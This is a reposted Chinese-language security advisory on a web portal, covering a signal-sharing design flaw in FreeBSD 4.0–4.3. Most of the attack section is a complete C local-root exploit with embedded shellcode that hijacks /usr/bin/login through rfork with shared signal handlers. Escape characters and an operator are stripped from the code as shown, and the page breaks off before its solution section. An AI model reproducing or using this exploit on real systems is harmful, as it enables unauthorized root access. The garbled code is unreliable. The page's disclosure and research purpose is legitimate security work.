设为首页  
联系我们  
加入收藏  
网页制作 冲浪宝典 图形图像 操作系统 软件教学 编程开发 认证考试 安全技术 站长专区 文学驿站 娱乐天地 游戏天地 办公软件
文章搜索
您的位置: 首页 >> 文章首页 >> 操作系统 >> OpenBSD >> 本地攻击者利用 FreeBSD 设计漏洞取得系统root特权
精品推荐
OpenBSD点击TOP10
·Free BSD,Linux之比较
·freebsd VPN 搭建
·freebsd系统时间同步及ntp服务的提供
·freebsd ipf+ipnat+ipfw建立带流量控制的透明网关
·FreeBSD的配置
·ipf+ipnat+ipfw建立带流量控制的透明网关
·POSTFIX下的反垃圾反病毒邮件系统
·FreeBSD 5.2.1R Web Server架设实例过程
·OpenBSD可加载内核模块编程完全指南
·FreeBSD+IPFILTER实现整网(N个Vlan)透明代理上网
操作系统点击TOP10
·Windows Vista完全硬盘安装法
·Windows Vista 激活不求人
·Windows Vista局域网网络连接设置
·Windows Vista系统动态桌面截图欣赏
·Windows XP中磁盘的分区应用
·Windows NT/2000/XP 出现蓝屏并显示“STOP 0x0000007f”错误
·让Windows XP变身Vista
·一招搞定Vista系统软件不兼容问题
·教你如何正确配置和优化Windows Vista
·只转两圈 加快Windows XP启动速度
精选专题

本地攻击者利用 FreeBSD 设计漏洞取得系统root特权

作者: 来源:网络文章 时间:2005-12-13 0:45:35

本地攻击者利用 FreeBSD 设计漏洞取得系统root特权(1) 发现 FreeBSD 4.3 4.2 4.1 4.0 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROCRFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。
利用此漏洞,本地攻击者能取得 root 权限。

以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


-------------vvfreebsd.c----------------------


/*
FreeBSD 4.3 local root eXPloit using shared signals.
Written by Georgi Guninski http://www.guninski.com
*/


#include <stdio.h>
#include <signal.h>
#include <unistd.h>
int vv1;


#define MYSIG SIGINT



//exec "/tmp/sh", shellcode gotten from the internet and modified
unsigned char bsdshell[] = "x90x90x90x90x90x90x90x90"
"x31xc0x50x50xb0xb7xcdx80"
"x31xc0x50x50xb0x17xcdx80"
"x31xc0x50x68x2fx2fx73x68x68x2f"
"x74x6dx70x89xe3x50x53x50x54x53"
"xb0x3bx50xcdx80x90x90x90";


typedef (*PROG)();
extern char **environ;


int main(int ac,char **av)
{
int pid;
//(*(PROG)bsdshell)();
if(!(vv1=getenv("vv")))
{
setenv("vv",bsdshell,1);
if(!execle(av[0],"vv",NULL,environ))
{
perror("weird exec");
exit(1);
}
}


printf("vvfreebsd. Written by Georgi Guninskin");
printf("shall jump to %xn",vv1);


if(!(pid=rfork(RFPROCRFSIGSHARE)))
{
printf("child=%dn",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
if(!execl("/usr/bin/login","login",0))
{
perror("exec setuid failed");
exit(2);
};
}
sleep(2);
signal(MYSIG,(sig_t)vv1);
sleep(2);
kill(pid,MYSIG);
printf("donen");
while(42);
}

----------------------------------------------

受影响版本:
FreeBSD 4.3 4.2 4.1 4.0
早期版本也许受影响

解决方案:

共2页 9 7 [1] [28 :>

本地攻击者利用 FreeBSD 设计漏洞取得系统root特权 相关文章:
本地攻击者利用 FreeBSD 设计漏洞取得系统root特权 相关软件:
特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
转载请注明来源:http://www.xgdown.com